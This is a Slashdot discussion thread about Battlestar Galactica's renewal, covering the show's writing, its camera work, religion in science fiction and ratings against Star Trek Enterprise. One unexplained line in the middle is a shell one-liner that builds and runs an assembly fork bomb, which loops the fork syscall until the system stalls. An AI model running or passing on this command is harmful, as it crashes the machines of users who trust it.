Slashdot Mirror
Sci-Fi Channel Renews Battlestar Galactica
Chairboy writes "The Sci-Fi Channel has just announced the renewal of Battlestar Galactica for a second season. The creator of the show has announced that the second season will delve into the religious issues surrounding the Cylons in addition to opening up their society more. The latest episode had 3.2 million viewers, almost twice as many as watched the latest episode of Star Trek Enterprise." I said it before, and I'll say it again- this is the best Sci Fi program currently airing, so I'm happy to see more.
but also the atmosphere I envisioned Enterprise as being; the primitive tech, the flights of patrol ships, the hard nosed military demenor. Enterprise just is not gritty enough for the time period it is trying to portray. The writers really should have taken a Q from the Earth environment of First Contact.
Now just do not pull the same crap you did with Farscape. One little mini-series to pull everything together that was not worthy of the established story line.
The cancel button is your friend. Do not hesitate to use it.
I hope the fire the cameraman at least. Judging from all the swaying, he's apparently drunk all the time at work.
I also don't like the cheap soap opera-esque quick switching between face shots. A few seconds of one face at full screen and then switch to another and then back. Very annoying.
Good science fiction has less to do with cool spaceships blowing stuff up, funny/scary robots, etc. and more to do with people (or at least sentient beings with familiar aspects) - they're people in an unusual setting but the stories still need to be about people in order to be compelling/entertaining. Religion, politics, sex...these are "people issues" and just as much at home in science fiction as they are in any "non-science" fiction.
I've just posted this in another article thread but it's worth repeating I think. Science isn't limited to the physical sciences, it also includes the social sciences. The question of religion and the need to believe in something supernatural is arguably a topic for sociologists and psychologists. Now, whether or not you consider psychology and sociology to be real science or not is a completly different argument but none-the-less, I don't see why science-fiction should limit itself to discussions involving physics, chemistry and biology.
Tackling social topics in science-fiction isn't without precedent. Asimov's Foundation novels are good examples of science fiction stories where the central premise is rooted in sociology.
Why? The humanoid cylons are almost indistinguishable from us, it's not unreasonable they'd have some kind of religion.
Religion is inevitable if you are self aware and mortal I reckon - it's a myth that makes dying a more palatable prospect.
Some spoilers below
Actually the thing I liked about the series was the idea that it is clearly inspired by the War On Terror. There are scenes where cylons do suicide bombings, claim that the humans 'worship idols' and explain that they don't fear death because their soul will get downloaded to a new body. It's not quite 72 virgins but it's close.
And fighting such an implacable enemy has a corrosive effect on human society too - look at the torture scene, or the way the military gradually seems to be gradually taking over. They even need to shoot down a 'hijacked' ship, which may or may not contain civilians just after the cylons devastating 9/11 style suprise attack.
And the nice thing about the series is that it seems to be generally interested in exploring this stuff with relatively rounded characters rather than settling for two dimensional 'good' and 'bad' characters like most sci fi.
So the religious stuff is pretty key to the appeal of the show.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Whilst I agree BG isn't really science fiction in the traditional sense, it's going a bit far to say that story lines should be an excuse for space battles.
A good story will always have depth... you'll empathise with the characters, maybe see a bit of yourself in them. The *point* of science fiction is the science of course, which is why it attracts the geek audience... we immerse ourselves in the world so much we can often work out how to solve the problem ourselves before the main characters do.
Never ending space battles would get a bit dull... you need other things like cool new tech, aliens with funny quirks, etc. - all the things that geeks are in to.
I think the major reason why the new Battlestar Galactica series has done well is one Ronald D. Moore, who I believe developed the new series and is one of the Executive Producers.
:-(
Moore wrote and/or was involved in many of the best episodes of Star Trek: The Next Generation and Star Trek: Deep Space Nine; small wonder why the new BG series has been much better than many people anticipated. =)
It's too bad Ron Moore wasn't involved with Enterprise, because Moore could have turned Enterprise into a potentially great series.
I think last week's episode which has Starbuck patching a Cylon ship with her jacket,
No reason this couldn't work, if her jacket was made out of the right material.
breathing oxygen out of a tube (lucky she didn't hit a toxic hydraulic line),
Luck has nothing to do with it. She had some magical oxygen tester, the little pen-like thing that she took out a couple of times, that told her what it was.
and flying the ship based on her "pitch, roll, yaw, power" mantra was plain silly.
If you're in a lot of pain and in a difficult situation, mantras like that are a good way to keep focused and thinking.
Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
The immediate future of television SciFi is niche channels. The staple of good SciFi is great special effects. Every year, it gets cheaper and cheaper to make effects that are better and better. The original BSG took the budget of a major network to put out. Now, a smallish cable channel can do a better job cheaper.
Back when the original BG series was in production in 1977-1978, it was exorbitantly expensive because you had to build models and use special motion cameras to film the models--a very time-consuming process. Given how good today's CGI technology has become with relatively cheap equipment, you can now do special effects vastly better than what was done with the original series at a tiny fraction of the cost.
I can cite another example: how to depict a mythological flying dragon on-screen. When Industrial Light & Magic did its work for Dragonslayer they built a "go-motion" model of a dragon and filmed it with special cameras, which required a long and time-consuming process to complete; 15 years later, Dragonheart did the same thing, but all completely done with CGI, probably at less expense per minute of film than the earlier movie.
No, those aren't the only options. In fact there's a third option, precisely the one described by Ron Moore in his blog:
The ship remains stationary, but somehow manages to bend space around it. He used [now common] analogy of a ship in space being like a small object sitting on a peice of flat paper. If you fold the paper, everything 'on' the paper doesn't notice any difference, but once its folded properly the ship can punch a small [worm]hole so that it can move through the interstitial area between the [now closer] points on the paper. The ship simply ceases to be at one point, and appears at the next without any change in velocity.
Such a system, if possible, wouldn't involve any intertial issues.
"Stumble before you crawl"
"More human than Human."
Indeed, the Cylons feel that they are "Human 2.0" and therefore have as much problem genociding humanity as we would have, say, stepping on a cockroach.
I think the Cylons in this new Galactica series are showing the strain of their human roots. Keep watching...
Be who you are and say what you feel, because the people who mind don't matter, and the people who matter don't mind.
I'm tired of the sci-fi groupies latching on to every new and terrible show that comes out.
The last episode I saw, Starbuck stranded on a planet, was terrible. The writing was bad, the acting was poor, and the camera work will make people sea sick.
Yes the production values are good but since when has production values been more important than the story.
Get this she, starbuck, flies a crashed ship that was designed to hookup directly to the nervous system of non-humanoid cyborg pilot, and you though case modding was hard. Not only did she fly it(by grabbing wires I guess), she out flew another pilot to the point of getting close enough to the other fighter to have that pilot read a message written in tape on her wings.
Simply a bad show. It's the sci-fi equivalent of Joey.
I have no
The point of science fiction is to create an environment in which the viewer/reader is enticed to explore issues that may otherwise be too difficult to examine under the harsh light of reality. Real human issues.
Take a look at Heinlein's "The Moon is a Harsh Mistress." One of the subjects he discusses is that of marriage. Here and now, in the real world, we tend to view polygamy in a very negative light. In the world that Heinlein creates, we can view polygamy as a vital necessity within the environment, and we can do this without the guilt or preconception of our puritanical upbringing.
The "Science" part of science fiction is window dressing. It's cool, and it puts asses in the seats, but it is not the point. The science is just one of the tools available in order to create a compelling backdrop for exploring human nature; that is the point.
For those that would die defending it, Freedom
has a sweet taste that the protected will never know.
You are attempting to draw incorrect parallels here.
A Tsunami is a very real significant threat that will cause some form of calamity that is very real and the results of which can be seen very quickly.
The Afterlife and whether or not one even exists, is open to debate, interpretation and is as amorphous as the person you happen to be speaking to at that moment. It is a theological, philosophical conundrum that humanity will most likely never be able to know the actual truth about.
The effects of a Tsunami aren't open to interpretation. The effects of the Afterlife and whether or not it even exists is so open to interpretation that it is impossible for humans to know the truth about the afterlife.
You may very well believe that your interpretation is correct and the only interpretation that is real. In the end, your interpretation could be completely wrong. When we die, we could end up in the Viking afterlife, where most of us will be nothing, as most of use arne't 'warriors'.
We could all end up in an afterlife where God asks us if we did everything we could to enjoy every hedonistic aspect that physical human life provides. If we say no, God might just send us right back with a 'Hope you figure it out this time' along with a wink and a smile. If we say, yes and God knows that is the truth, we might move on to some eternal paradise filled with sharing those experiences with others.
Whose to say I am wrong? In the end, if God really does exist, then the only being that can honestly say whether or not I am right or wrong is God. No single human being has that power and it would be incredibly arrogant for any human to assume they know God's motivations and plans.
If Christians believe they are right, that's fine for them. Just because they believe they are right does not mean they have the right to continually force those beliefs onto others. It is considered forcing those beliefs onto others by constantly and continually 'sharing' those beliefs with someone that has always said, "No thank you."
If you ignore the other uses of a tool, does that make the tool less useful, or you less useful?
I remember when Starbuck was charged with robbing the Bank of Hanoi when he really didn't. That was sad how he had to go on the run with his two fellow accusants. And then when they had to spring their friend out of the mental institution all the time...
Oh wait. Wrong show.
Actually, the latest episode of ST:Enterprise had 2.81 million viewers. Funny how that is considered to be 'low' ratings, while 3.2 million is a home-run for BSG? Enterprises ratings are right up there with BSG, SG1 and SGA. The only difference is Enterprise is on a 'regular' network, whereas the others are on a cable network. If Enterprise were on Sci-Fi, it would be considered a 'hit'.
Those humans that have been educated in what the science of life and physics has taught us have for the most part left religion behind. It is among the uneducated who have not been exposed to the knowledge revealed by science that religion is most prevalent. Science does trump religion, but only if you've been exposed to it.
The thing that makes religion so interesting in sci-fi is that you can explore the continuing tensions between technology and faith as technology evolves
Technology doesn't have any effect on religion. Smaller mp3 players and bigger TVs don't contradict the Bible. It's the understanding of the world around us that science reveals that contradicts the mythology of religion.
I don't find it surprising at all. First, I also support and accept science and all it includes.
But if you truely understand science, then you must also understand it's limits. Science does not trump religion.
The domain of science is:
1. What can be observed.
2. What can be experimented with.
3. What can be calculated.
Religion for the most part, and God in particular, does not fall into any of those categories. Thus science is not in a position to speak to religion, either positively or negatively.
The clashes mostly are really around when religion tries to impose ideas into areas that science covers. When some particular religious belief conflicts with a scientific concept, then you have conflict. But Scientist should only attempt to address the particular belief. It would be a mistake for scientist to attempt to go all they way into religious territory and address concepts such as God where there is no observation, experimentation or calculation possible. Science has no traction there.
You have to know where your ground lies, and defend that ground. But don't go where you don't belong. The central tennat of the scientific method is proof. Where there is something to prove, do it. There is little in the core of most religion that can be scientifically proved or disproved, so just ignore it. When you jump into the relm of religion where science doesn't cover, then you are just using your own brand of religion.
There is nothing so silly as other peoples traditions, and nothing so sacred as our own.
I learned to tell time by watching the original Battlestar Galactica. It came on in Edmonton at 4:30 on Sunday afternoons. I remember many times looking up at the oven clock hands trying to determine whether I should be parked in front of the TV or whether I had time left to play with legos. When it wasn't Sunday afternoon, my friends and I would pretend to be Viper pilots and inevitably end up fighting over who got to be Starbuck and who had to play Apollo.
So, over the last twenty years, a certain amount of nostalgia has accumulated around Battlestar Galactica in my heart, not at all unlike most of us here. So when Ron Moore and the ScFi channel finally got the rights to the show, everyone was excited - until Moore said that, quite plainly, that avid fans of the original fan may not appreciate his version, what he called a "reimagining." Moore made a number of changes that bothered me, but the seemingly most significant tore at the core of my identity: Starbuck would be a girl.
Starbuck and Han Solo were about as close to being models for masculinity as anyone besides my father could get. Ask me to word associate manliness, and Starbuck would fall fairly close to the top.
And Moore had ripped that from me, from my heart.
So imagine my surprise when I watched the mini series and it was not only good, but great. And Starbuck was still, somehow, Starbuck. Baltar, for all his moments of brilliance in this series, was still goofy Baltar. The vipers were still there. Adama was still hard nosed. Yet, I had doubts whether someone could maintain this level of quality in a TV series. The original Battlestar Galactica certainly didn't.
So imagine my surprise - again - when the first few episodes, which I watched courtesy Internet, were even better than the mini series. In fact, this new series renders the original Battlestar completely irrelevant. I realize now that there are only a couple of good things about the original Battlestar Galactica now. First, it provided my friends and I uncountable hours of playtime. Secondly, it somehow enabled this new re-imagination. Even Richard Hatch, the actor who played Apollo in the original series, acts better in this new series (this time as a revolutionary).
To be fair, the original Battlestar is very much a product of late seventies television. I used to argue that it wasn't, but honestly - the show really was an attempt to bring Star Wars to the small screen. But if this new Battlestar had similarly been a product of the 00s, it would've been a reality show set in a business environment where Adam eats scorpions to impress friends.
This new Battlestar Galactica not only transcends the science fiction genre and redefines it, it also takes television a step further. Even my darling Firefly, in all its civil war cum scifi greatness, feels conventional when put next to Moore's Battlestar.
I'm not sure what it means if we have a generation of kids basing their masculinity on a female Starbuck (although I'm not so sure kids should even be watching this new Battlestar). Regardless of the consequences, Moore's new Battlestar is easily the best TV show on right now, and maybe even one of the best shows of all time. My wife and I have both cried and cheered during the show, and she usually reserves that for shows like Project Runway. During episode ten, I sported a broad, beaming smile in sync with the emotion on the screen.
It's that good.
Good job Ron and friends. You should be proud, you managed to pull off the stunt of making my male model a female, and make me happy you did it.
Ho boy.
You know, Charles Darwin almost went to seminary school before taking his voyage on the Beagle. References to a divine power as a guiding force behind evolution are all over Origin of Species.
Science and religion are separate, and since the Enlightenment people have held them as very distinct. Even Galileo said that "the intention of the Holy Ghost is to teach us how one goes to heaven, not how heaven goes." i.e. a person can be a scientific genius, and still admit there are things that we as humans don't yet understand.
I know it's hip to deride all faith as some sort of mass delusion that we need to outgrow, and that's fine. I don't have much faith myself. But faith and intelligence are not necessarily mutually exclusive things.
I'm not advocating anyone "get religion," but I do think that judging religion by its highest manifestations (art, literatue, etc.) as well as its lowest (the Inquisition, the Crusades, other favorite whipping boys of Christianity) is more broad-minded than simply dismissing religion across the board.
I also think it's unrealistic to think that human beings are simply going to "outgrow" faith, at least until we've become gods ourselves and can prove some form of life after death.
And personally, while I have no use for organized religion, I do like that Galactica threw it in there. Me, I always had a problem with shows like Trek, in which all human religions had apparently vanished overnight, and religion was presented only in terms of loony fanatics causing a problem for our atheist heroes. Yeah, that's an egalitarian vision of the future.
For the most part I believe you are correct. This is why religious beliefs cannot be true per se. Anything that is not just unproven but unprovable cannot be regarded as a fact. Such beliefs can also justifiably be regarded as irrational. Just like the belief in elves or talking trees or invisible aliens living in your backyard.
I think the confusion stems from the fact that religion is just a very primitive form of science. It is a pre-scientific way of trying to understand the world around you. If you can't understand something just invent a supernatural entitity who created whatever it is and controls whatever process you don't understand. It is really just a substitute for actual understanding.
The primitive hope is that if some creature is responsible for the life and death and fertility and crops and every other aspect of human animal life, that it can be controlled without understanding it just be asking the appropriate entity for mercy or help or kindness or whatever. There was a ST:TNG episode based on this very idea.
The difference between polytheism and monotheism is just that the polytheists believe (sensibly enough)in the division of labor whereas the monotheists believe that one entity controls everything. I guess the advantage of that is that you only have one person to ask favors of and the mythologies may be simpler.
Quite an experience to live in fear, isn't it? That's what it is to be a slave.